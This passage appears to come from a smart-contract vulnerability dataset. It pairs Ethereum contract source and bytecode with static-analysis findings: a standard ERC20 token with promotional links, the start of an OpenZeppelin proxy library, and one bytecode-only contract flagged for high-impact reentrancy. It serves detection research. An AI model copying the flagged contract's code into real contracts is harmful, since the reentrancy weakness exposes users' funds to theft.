383836112a0565b6000806000611248611397565b9092509050611257828261125e565b9250505090565b600061108483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d9565b6000806000806000806112b287611407565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e49087611464565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131390866114a6565b6001600160a01b03891660009081526002602052604090205561133581611505565b61133f848361154f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138491815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113b3828261125e565b8210156113d057505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113fa5760405162461bcd60e51b815260040161040f91906118c6565b506000610fc484866119d6565b60008060008060008060008060006114248a600954600a54611573565b925092509250600061143461123b565b905060008060006114478e8787876115c8565b919e509c509a509598509396509194505050505091939550919395565b600061108483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f93565b6000806114b383856119be565b9050838110156110845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b600061150f61123b565b9050600061151d8383611618565b3060009081526002602052604090205490915061153a90826114a6565b30600090815260026020526040902055505050565b60075461155c9083611464565b60075560085461156c90826114a6565b6008555050565b600080808061158d60646115878989611618565b9061125e565b905060006115a060646115878a89611618565b905060006115b8826115b28b86611464565b90611464565b9992985090965090945050505050565b60008080806115d78886611618565b905060006115e58887611618565b905060006115f38888611618565b90506000611605826115b28686611464565b939b939a50919850919650505050505050565b60008261162757506000610447565b600061163383856119f6565b90508261164085836119d6565b146110845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b80356116a281611a73565b919050565b6000602082840312156116b8578081fd5b813561108481611a73565b6000602082840312156116d4578081fd5b815161108481611a73565b600080604083850312156116f1578081fd5b82356116fc81611a73565b9150602083013561170c81611a73565b809150509250929050565b60008060006060848603121561172b578081fd5b833561173681611a73565b9250602084013561174681611a73565b929592945050506040919091013590565b60008060408385031215611769578182fd5b823561177481611a73565b946020939093013593505050565b60006020808385031215611794578182fd5b823567ffffffffffffffff808211156117ab578384fd5b818501915085601f8301126117be578384fd5b8135818111156117d0576117d0611a5d565b8060051b604051601f19603f830116810181811085821117156117f5576117f5611a5d565b604052828152858101935084860182860187018a1015611813578788fd5b8795505b8386101561183c5761182881611697565b855260019590950194938601938601611817565b5098975050505050505050565b60006020828403121561185a578081fd5b813561108481611a88565b600060208284031215611876578081fd5b815161108481611a88565b600060208284031215611892578081fd5b5035919050565b6000806000606084860312156118ad578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f2578581018301518582016040015282016118d6565b818111156119035783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561199d5784516001600160a01b031683529383019391830191600101611978565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119d1576119d1611a47565b500190565b6000826119f157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a1057611a10611a47565b500290565b600082821015611a2757611a27611a47565b500390565b6000600019821415611a4057611a40611a47565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048e57600080fd5b801515811461048e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b160b8b28ab8818be4deb14e756e7b59097567c9ff8eedb7302f1213cd3251664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,994 |
0xc200740847f6e9a16fa185925ed66f64ecc1d449
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* dBITCOLOAN token is a part of Bitcoloan protocol ecosystem
Bitcoloan protocol - is a smart contract ecosystem used for decentralized crypto lending and investments. It will operate on Ethereum Network, Binance Smart Chain and Tron Chain.
The Bridge will allow any centralized platform to tokenize their project and switch to DeFi. Bitcoloan is a centralized solution, and now we’re creating a similar, but decentralized platform.
Using the Bridge, any cryptocurrency project will be able to transfer its assets to the Bitcoloan protocol or its fork due to the protocol open source.
Telegram group announcement: https://t.me/bitcoloan
Telegram chat: https://t.me/dbitcoloan
Twitter: https://twitter.com/bitcoloan
Website: https://protocol.bitcoloan.com
*/
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract dBITCOLOANToken is ERC20 {
constructor() ERC20("PROTOCOL.BITCOLOAN.COM", "dBITCOLOAN") {
_mint(msg.sender, 1000000000000000 * 10**8);
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b4114610226578063a457c2d714610244578063a9059cbb14610274578063dd62ed3e146102a4576100cf565b806342966c68146101be57806370a08231146101da57806379cc67901461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d4565b6040516100e9919061119c565b60405180910390f35b61010c60048036038101906101079190610f58565b610366565b6040516101199190611181565b60405180910390f35b61012a610384565b60405161013791906112fe565b60405180910390f35b61015a60048036038101906101559190610f09565b61038e565b6040516101679190611181565b60405180910390f35b61017861048f565b6040516101859190611319565b60405180910390f35b6101a860048036038101906101a39190610f58565b610498565b6040516101b59190611181565b60405180910390f35b6101d860048036038101906101d39190610f94565b610544565b005b6101f460048036038101906101ef9190610ea4565b610558565b60405161020191906112fe565b60405180910390f35b610224600480360381019061021f9190610f58565b6105a0565b005b61022e610624565b60405161023b919061119c565b60405180910390f35b61025e60048036038101906102599190610f58565b6106b6565b60405161026b9190611181565b60405180910390f35b61028e60048036038101906102899190610f58565b6107aa565b60405161029b9190611181565b60405180910390f35b6102be60048036038101906102b99190610ecd565b6107c8565b6040516102cb91906112fe565b60405180910390f35b6060600380546102e390611462565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611462565b801561035c5780601f106103315761010080835404028352916020019161035c565b820191906000526020600020905b81548152906001019060200180831161033f57829003601f168201915b5050505050905090565b600061037a61037361084f565b8484610857565b6001905092915050565b6000600254905090565b600061039b848484610a22565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e661084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d9061123e565b60405180910390fd5b6104838561047261084f565b858461047e91906113a6565b610857565b60019150509392505050565b60006008905090565b600061053a6104a561084f565b8484600160006104b361084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105359190611350565b610857565b6001905092915050565b61055561054f61084f565b82610ca1565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006105b3836105ae61084f565b6107c8565b9050818110156105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef9061125e565b60405180910390fd5b6106158361060461084f565b848461061091906113a6565b610857565b61061f8383610ca1565b505050565b60606004805461063390611462565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90611462565b80156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905090565b600080600160006106c561084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610782576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610779906112de565b60405180910390fd5b61079f61078d61084f565b85858461079a91906113a6565b610857565b600191505092915050565b60006107be6107b761084f565b8484610a22565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be906112be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906111fe565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a1591906112fe565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a899061129e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906111be565b60405180910390fd5b610b0d838383610e75565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a9061121e565b60405180910390fd5b8181610b9f91906113a6565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2f9190611350565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c9391906112fe565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d089061127e565b60405180910390fd5b610d1d82600083610e75565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a906111de565b60405180910390fd5b8181610daf91906113a6565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610e0391906113a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6891906112fe565b60405180910390a3505050565b505050565b600081359050610e8981611819565b92915050565b600081359050610e9e81611830565b92915050565b600060208284031215610eb657600080fd5b6000610ec484828501610e7a565b91505092915050565b60008060408385031215610ee057600080fd5b6000610eee85828601610e7a565b9250506020610eff85828601610e7a565b9150509250929050565b600080600060608486031215610f1e57600080fd5b6000610f2c86828701610e7a565b9350506020610f3d86828701610e7a565b9250506040610f4e86828701610e8f565b9150509250925092565b60008060408385031215610f6b57600080fd5b6000610f7985828601610e7a565b9250506020610f8a85828601610e8f565b9150509250929050565b600060208284031215610fa657600080fd5b6000610fb484828501610e8f565b91505092915050565b610fc6816113ec565b82525050565b6000610fd782611334565b610fe1818561133f565b9350610ff181856020860161142f565b610ffa816114f2565b840191505092915050565b600061101260238361133f565b915061101d82611503565b604082019050919050565b600061103560228361133f565b915061104082611552565b604082019050919050565b600061105860228361133f565b9150611063826115a1565b604082019050919050565b600061107b60268361133f565b9150611086826115f0565b604082019050919050565b600061109e60288361133f565b91506110a98261163f565b604082019050919050565b60006110c160248361133f565b91506110cc8261168e565b604082019050919050565b60006110e460218361133f565b91506110ef826116dd565b604082019050919050565b600061110760258361133f565b91506111128261172c565b604082019050919050565b600061112a60248361133f565b91506111358261177b565b604082019050919050565b600061114d60258361133f565b9150611158826117ca565b604082019050919050565b61116c81611418565b82525050565b61117b81611422565b82525050565b60006020820190506111966000830184610fbd565b92915050565b600060208201905081810360008301526111b68184610fcc565b905092915050565b600060208201905081810360008301526111d781611005565b9050919050565b600060208201905081810360008301526111f781611028565b9050919050565b600060208201905081810360008301526112178161104b565b9050919050565b600060208201905081810360008301526112378161106e565b9050919050565b6000602082019050818103600083015261125781611091565b9050919050565b60006020820190508181036000830152611277816110b4565b9050919050565b60006020820190508181036000830152611297816110d7565b9050919050565b600060208201905081810360008301526112b7816110fa565b9050919050565b600060208201905081810360008301526112d78161111d565b9050919050565b600060208201905081810360008301526112f781611140565b9050919050565b60006020820190506113136000830184611163565b92915050565b600060208201905061132e6000830184611172565b92915050565b600081519050919050565b600082825260208201905092915050565b600061135b82611418565b915061136683611418565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561139b5761139a611494565b5b828201905092915050565b60006113b182611418565b91506113bc83611418565b9250828210156113cf576113ce611494565b5b828203905092915050565b60006113e5826113f8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561144d578082015181840152602081019050611432565b8381111561145c576000848401525b50505050565b6000600282049050600182168061147a57607f821691505b6020821081141561148e5761148d6114c3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611822816113da565b811461182d57600080fd5b50565b61183981611418565b811461184457600080fd5b5056fea26469706673582212202fc486778443667bbe51727cdcf706a47d5fa1a47740890e2caf7de7684e5e5764736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 7,995 |
0xA07A309F7EECc09Abb68AdF56C14b222f72943BA
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
